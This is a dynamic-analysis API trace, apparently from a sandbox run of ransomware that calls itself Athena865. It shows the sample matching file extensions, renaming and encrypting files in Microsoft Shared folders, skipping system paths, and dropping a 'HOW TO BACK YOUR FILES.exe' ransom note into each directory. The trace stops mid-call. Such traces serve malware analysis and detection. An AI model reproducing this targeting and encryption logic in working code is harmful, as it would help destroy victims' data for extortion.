[0117.223] lstrcmpiW (lpString1="INF", lpString2="cdb") returned 1 [0117.223] lstrlenW (lpString="ckp") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="ckp") returned 1 [0117.223] lstrlenW (lpString="cma") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="cma") returned 1 [0117.223] lstrlenW (lpString="cpd") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="cpd") returned 1 [0117.223] lstrlenW (lpString="dacpac") returned 6 [0117.223] lstrcmpiW (lpString1="ES.INF", lpString2="dacpac") returned 1 [0117.223] lstrlenW (lpString="dad") returned 3 [0117.223] lstrcmpiW (lpString1="INF", lpString2="dad") returned 1 [0117.223] lstrlenW (lpString="dadiagrams") returned 10 [0117.223] lstrlenW (lpString="daschema") returned 8 [0117.224] lstrcmpiW (lpString1="EMES.INF", lpString2="daschema") returned 1 [0117.224] lstrlenW (lpString="db-journal") returned 10 [0117.224] lstrlenW (lpString="db-shm") returned 6 [0117.224] lstrcmpiW (lpString1="ES.INF", lpString2="db-shm") returned 1 [0117.224] lstrlenW (lpString="db-wal") returned 6 [0117.224] lstrcmpiW (lpString1="ES.INF", lpString2="db-wal") returned 1 [0117.224] lstrlenW (lpString="dbc") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dbc") returned 1 [0117.224] lstrlenW (lpString="dbs") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dbs") returned 1 [0117.224] lstrlenW (lpString="dbt") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dbt") returned 1 [0117.224] lstrlenW (lpString="dbv") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dbv") returned 1 [0117.224] lstrlenW (lpString="dbx") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dbx") returned 1 [0117.224] lstrlenW (lpString="dcb") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dcb") returned 1 [0117.224] lstrlenW (lpString="dct") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dct") returned 1 [0117.224] lstrlenW (lpString="dcx") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dcx") returned 1 [0117.224] lstrlenW (lpString="ddl") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="ddl") returned 1 [0117.224] lstrlenW (lpString="dlis") returned 4 [0117.224] lstrcmpiW (lpString1=".INF", lpString2="dlis") returned -1 [0117.224] lstrlenW (lpString="dp1") returned 3 [0117.224] lstrcmpiW (lpString1="INF", lpString2="dp1") returned 1 [0117.225] lstrlenW (lpString="dqy") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="dqy") returned 1 [0117.225] lstrlenW (lpString="dsk") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="dsk") returned 1 [0117.225] lstrlenW (lpString="dsn") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="dsn") returned 1 [0117.225] lstrlenW (lpString="dtsx") returned 4 [0117.225] lstrcmpiW (lpString1=".INF", lpString2="dtsx") returned -1 [0117.225] lstrlenW (lpString="dxl") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="dxl") returned 1 [0117.225] lstrlenW (lpString="eco") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="eco") returned 1 [0117.225] lstrlenW (lpString="ecx") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="ecx") returned 1 [0117.225] lstrlenW (lpString="edb") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="edb") returned 1 [0117.225] lstrlenW (lpString="epim") returned 4 [0117.225] lstrcmpiW (lpString1=".INF", lpString2="epim") returned -1 [0117.225] lstrlenW (lpString="fcd") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="fcd") returned 1 [0117.225] lstrlenW (lpString="fdb") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="fdb") returned 1 [0117.225] lstrlenW (lpString="fic") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="fic") returned 1 [0117.225] lstrlenW (lpString="flexolibrary") returned 12 [0117.225] lstrlenW (lpString="fm5") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="fm5") returned 1 [0117.225] lstrlenW (lpString="fmp") returned 3 [0117.225] lstrcmpiW (lpString1="INF", lpString2="fmp") returned 1 [0117.226] lstrlenW (lpString="fmp12") returned 5 [0117.226] lstrcmpiW (lpString1="S.INF", lpString2="fmp12") returned 1 [0117.226] lstrlenW (lpString="fmpsl") returned 5 [0117.226] lstrcmpiW (lpString1="S.INF", lpString2="fmpsl") returned 1 [0117.226] lstrlenW (lpString="fol") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fol") returned 1 [0117.226] lstrlenW (lpString="fp3") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fp3") returned 1 [0117.226] lstrlenW (lpString="fp4") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fp4") returned 1 [0117.226] lstrlenW (lpString="fp5") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fp5") returned 1 [0117.226] lstrlenW (lpString="fp7") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fp7") returned 1 [0117.226] lstrlenW (lpString="fpt") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="fpt") returned 1 [0117.226] lstrlenW (lpString="frm") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="frm") returned 1 [0117.226] lstrlenW (lpString="gdb") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="gdb") returned 1 [0117.226] lstrlenW (lpString="gdb") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="gdb") returned 1 [0117.226] lstrlenW (lpString="grdb") returned 4 [0117.226] lstrcmpiW (lpString1=".INF", lpString2="grdb") returned -1 [0117.226] lstrlenW (lpString="gwi") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="gwi") returned 1 [0117.226] lstrlenW (lpString="hdb") returned 3 [0117.226] lstrcmpiW (lpString1="INF", lpString2="hdb") returned 1 [0117.226] lstrlenW (lpString="his") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="his") returned 1 [0117.227] lstrlenW (lpString="ib") returned 2 [0117.227] lstrcmpiW (lpString1="NF", lpString2="ib") returned 1 [0117.227] lstrlenW (lpString="idb") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="idb") returned 1 [0117.227] lstrlenW (lpString="ihx") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="ihx") returned 1 [0117.227] lstrlenW (lpString="itdb") returned 4 [0117.227] lstrcmpiW (lpString1=".INF", lpString2="itdb") returned -1 [0117.227] lstrlenW (lpString="itw") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="itw") returned -1 [0117.227] lstrlenW (lpString="jet") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="jet") returned -1 [0117.227] lstrlenW (lpString="jtx") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="jtx") returned -1 [0117.227] lstrlenW (lpString="kdb") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="kdb") returned -1 [0117.227] lstrlenW (lpString="kexi") returned 4 [0117.227] lstrcmpiW (lpString1=".INF", lpString2="kexi") returned -1 [0117.227] lstrlenW (lpString="kexic") returned 5 [0117.227] lstrcmpiW (lpString1="S.INF", lpString2="kexic") returned 1 [0117.227] lstrlenW (lpString="kexis") returned 5 [0117.227] lstrcmpiW (lpString1="S.INF", lpString2="kexis") returned 1 [0117.227] lstrlenW (lpString="lgc") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="lgc") returned -1 [0117.227] lstrlenW (lpString="lwx") returned 3 [0117.227] lstrcmpiW (lpString1="INF", lpString2="lwx") returned -1 [0117.228] lstrlenW (lpString="maf") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="maf") returned -1 [0117.228] lstrlenW (lpString="maq") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="maq") returned -1 [0117.228] lstrlenW (lpString="mar") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mar") returned -1 [0117.228] lstrlenW (lpString="marshal") returned 7 [0117.228] lstrcmpiW (lpString1="MES.INF", lpString2="marshal") returned 1 [0117.228] lstrlenW (lpString="mas") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mas") returned -1 [0117.228] lstrlenW (lpString="mav") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mav") returned -1 [0117.228] lstrlenW (lpString="maw") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="maw") returned -1 [0117.228] lstrlenW (lpString="mdbhtml") returned 7 [0117.228] lstrcmpiW (lpString1="MES.INF", lpString2="mdbhtml") returned 1 [0117.228] lstrlenW (lpString="mdn") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mdn") returned -1 [0117.228] lstrlenW (lpString="mdt") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mdt") returned -1 [0117.228] lstrlenW (lpString="mfd") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mfd") returned -1 [0117.228] lstrlenW (lpString="mpd") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mpd") returned -1 [0117.228] lstrlenW (lpString="mrg") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mrg") returned -1 [0117.228] lstrlenW (lpString="mud") returned 3 [0117.228] lstrcmpiW (lpString1="INF", lpString2="mud") returned -1 [0117.228] lstrlenW (lpString="mwb") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="mwb") returned -1 [0117.229] lstrlenW (lpString="myd") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="myd") returned -1 [0117.229] lstrlenW (lpString="ndf") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="ndf") returned -1 [0117.229] lstrlenW (lpString="nnt") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="nnt") returned -1 [0117.229] lstrlenW (lpString="nrmlib") returned 6 [0117.229] lstrcmpiW (lpString1="ES.INF", lpString2="nrmlib") returned -1 [0117.229] lstrlenW (lpString="ns2") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="ns2") returned -1 [0117.229] lstrlenW (lpString="ns3") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="ns3") returned -1 [0117.229] lstrlenW (lpString="ns4") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="ns4") returned -1 [0117.229] lstrlenW (lpString="nsf") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="nsf") returned -1 [0117.229] lstrlenW (lpString="nv") returned 2 [0117.229] lstrcmpiW (lpString1="NF", lpString2="nv") returned -1 [0117.229] lstrlenW (lpString="nv2") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="nv2") returned -1 [0117.229] lstrlenW (lpString="nwdb") returned 4 [0117.229] lstrcmpiW (lpString1=".INF", lpString2="nwdb") returned -1 [0117.229] lstrlenW (lpString="nyf") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="nyf") returned -1 [0117.229] lstrlenW (lpString="odb") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="odb") returned -1 [0117.229] lstrlenW (lpString="odb") returned 3 [0117.229] lstrcmpiW (lpString1="INF", lpString2="odb") returned -1 [0117.229] lstrlenW (lpString="oqy") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="oqy") returned -1 [0117.230] lstrlenW (lpString="ora") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="ora") returned -1 [0117.230] lstrlenW (lpString="orx") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="orx") returned -1 [0117.230] lstrlenW (lpString="owc") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="owc") returned -1 [0117.230] lstrlenW (lpString="p96") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="p96") returned -1 [0117.230] lstrlenW (lpString="p97") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="p97") returned -1 [0117.230] lstrlenW (lpString="pan") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="pan") returned -1 [0117.230] lstrlenW (lpString="pdb") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="pdb") returned -1 [0117.230] lstrlenW (lpString="pdm") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="pdm") returned -1 [0117.230] lstrlenW (lpString="pnz") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="pnz") returned -1 [0117.230] lstrlenW (lpString="qry") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="qry") returned -1 [0117.230] lstrlenW (lpString="qvd") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="qvd") returned -1 [0117.230] lstrlenW (lpString="rbf") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="rbf") returned -1 [0117.230] lstrlenW (lpString="rctd") returned 4 [0117.230] lstrcmpiW (lpString1=".INF", lpString2="rctd") returned -1 [0117.230] lstrlenW (lpString="rod") returned 3 [0117.230] lstrcmpiW (lpString1="INF", lpString2="rod") returned -1 [0117.231] lstrlenW (lpString="rodx") returned 4 [0117.231] lstrcmpiW (lpString1=".INF", lpString2="rodx") returned -1 [0117.231] lstrlenW (lpString="rpd") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="rpd") returned -1 [0117.231] lstrlenW (lpString="rsd") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="rsd") returned -1 [0117.231] lstrlenW (lpString="sas7bdat") returned 8 [0117.231] lstrcmpiW (lpString1="EMES.INF", lpString2="sas7bdat") returned -1 [0117.231] lstrlenW (lpString="sbf") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="sbf") returned -1 [0117.231] lstrlenW (lpString="scx") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="scx") returned -1 [0117.231] lstrlenW (lpString="sdb") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="sdb") returned -1 [0117.231] lstrlenW (lpString="sdc") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="sdc") returned -1 [0117.231] lstrlenW (lpString="sdf") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="sdf") returned -1 [0117.231] lstrlenW (lpString="sis") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="sis") returned -1 [0117.231] lstrlenW (lpString="spq") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="spq") returned -1 [0117.231] lstrlenW (lpString="te") returned 2 [0117.231] lstrcmpiW (lpString1="NF", lpString2="te") returned -1 [0117.231] lstrlenW (lpString="teacher") returned 7 [0117.231] lstrcmpiW (lpString1="MES.INF", lpString2="teacher") returned -1 [0117.231] lstrlenW (lpString="tmd") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="tmd") returned -1 [0117.231] lstrlenW (lpString="tps") returned 3 [0117.231] lstrcmpiW (lpString1="INF", lpString2="tps") returned -1 [0117.232] lstrlenW (lpString="trc") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="trc") returned -1 [0117.232] lstrlenW (lpString="trc") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="trc") returned -1 [0117.232] lstrlenW (lpString="trm") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="trm") returned -1 [0117.232] lstrlenW (lpString="udb") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="udb") returned -1 [0117.232] lstrlenW (lpString="udl") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="udl") returned -1 [0117.232] lstrlenW (lpString="usr") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="usr") returned -1 [0117.232] lstrlenW (lpString="v12") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="v12") returned -1 [0117.232] lstrlenW (lpString="vis") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="vis") returned -1 [0117.232] lstrlenW (lpString="vpd") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="vpd") returned -1 [0117.232] lstrlenW (lpString="vvv") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="vvv") returned -1 [0117.232] lstrlenW (lpString="wdb") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="wdb") returned -1 [0117.232] lstrlenW (lpString="wmdb") returned 4 [0117.232] lstrcmpiW (lpString1=".INF", lpString2="wmdb") returned -1 [0117.232] lstrlenW (lpString="wrk") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="wrk") returned -1 [0117.232] lstrlenW (lpString="xdb") returned 3 [0117.232] lstrcmpiW (lpString1="INF", lpString2="xdb") returned -1 [0117.232] lstrlenW (lpString="xld") returned 3 [0117.233] lstrcmpiW (lpString1="INF", lpString2="xld") returned -1 [0117.233] lstrlenW (lpString="xmlff") returned 5 [0117.233] lstrcmpiW (lpString1="S.INF", lpString2="xmlff") returned -1 [0117.233] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.Athena865") returned 76 [0117.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.athena865"), dwFlags=0x1) returned 1 [0117.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\themes.inf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0117.234] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7276) returned 1 [0117.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0117.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f78 [0117.234] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54e770 [0117.234] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54e7f8) returned 1 [0117.235] CryptGenRandom (in: hProv=0x54e7f8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0117.235] CryptReleaseContext (hProv=0x54e7f8, dwFlags=0x0) returned 1 [0117.235] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f70, lpName=0x0) returned 0x154 [0117.243] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f70) returned 0x100000 [0117.244] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54e7f8) returned 1 [0117.245] CryptGenRandom (in: hProv=0x54e7f8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0117.245] CryptReleaseContext (hProv=0x54e7f8, dwFlags=0x0) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538f00 [0117.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f00 | out: hHeap=0x4f0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0117.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0117.245] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0117.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0117.246] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0117.246] CloseHandle (hObject=0x154) returned 1 [0117.246] CloseHandle (hObject=0x17c) returned 1 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538f78 | out: hHeap=0x4f0000) returned 1 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54e770 | out: hHeap=0x4f0000) returned 1 [0117.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0117.246] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0117.246] lstrcmpiW (lpString1="WATER", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.246] lstrcmpiW (lpString1="WATER", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.246] lstrcmpiW (lpString1="WATER", lpString2=".") returned 1 [0117.246] lstrcmpiW (lpString1="WATER", lpString2="..") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="windows") returned -1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="bootmgr") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="temp") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="pagefile.sys") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="boot") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="ids.txt") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="ntuser.dat") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="perflogs") returned 1 [0117.247] lstrcmpiW (lpString1="WATER", lpString2="MSBuild") returned 1 [0117.247] lstrlenW (lpString="WATER") returned 5 [0117.247] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WATER" | out: lpString1="WATER") returned="WATER" [0117.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547cf0 [0117.247] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7c) returned 0x54e770 [0117.247] lstrcatW (in: lpString1="WATER", lpString2="\\" | out: lpString1="WATER\\") returned="WATER\\" [0117.247] lstrcatW (in: lpString1="WATER\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WATER\\HOW TO BACK YOUR FILES.exe") returned="WATER\\HOW TO BACK YOUR FILES.exe" [0117.247] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.252] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0117.252] lstrcmpiW (lpString1="WATERMAR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.252] lstrcmpiW (lpString1="WATERMAR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.252] lstrcmpiW (lpString1="WATERMAR", lpString2=".") returned 1 [0117.252] lstrcmpiW (lpString1="WATERMAR", lpString2="..") returned 1 [0117.252] lstrcmpiW (lpString1="WATERMAR", lpString2="windows") returned -1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="bootmgr") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="temp") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="pagefile.sys") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="boot") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="ids.txt") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="ntuser.dat") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="perflogs") returned 1 [0117.253] lstrcmpiW (lpString1="WATERMAR", lpString2="MSBuild") returned 1 [0117.253] lstrlenW (lpString="WATERMAR") returned 8 [0117.253] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WATERMAR" | out: lpString1="WATERMAR") returned="WATERMAR" [0117.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547d08 [0117.253] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5501e8 [0117.253] lstrcatW (in: lpString1="WATERMAR", lpString2="\\" | out: lpString1="WATERMAR\\") returned="WATERMAR\\" [0117.253] lstrcatW (in: lpString1="WATERMAR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="WATERMAR\\HOW TO BACK YOUR FILES.exe") returned="WATERMAR\\HOW TO BACK YOUR FILES.exe" [0117.253] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.258] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0117.258] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.258] ReleaseMutex (hMutex=0xec) returned 1 [0117.258] CloseHandle (hObject=0xec) returned 1 [0117.258] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" [0117.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0117.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ae88 | out: hHeap=0x4f0000) returned 1 [0117.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned 55 [0117.259] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\D6344E50FC18C1EF077DC5A93274642A") returned 0xec [0117.259] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.259] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT" [0117.259] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.259] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR 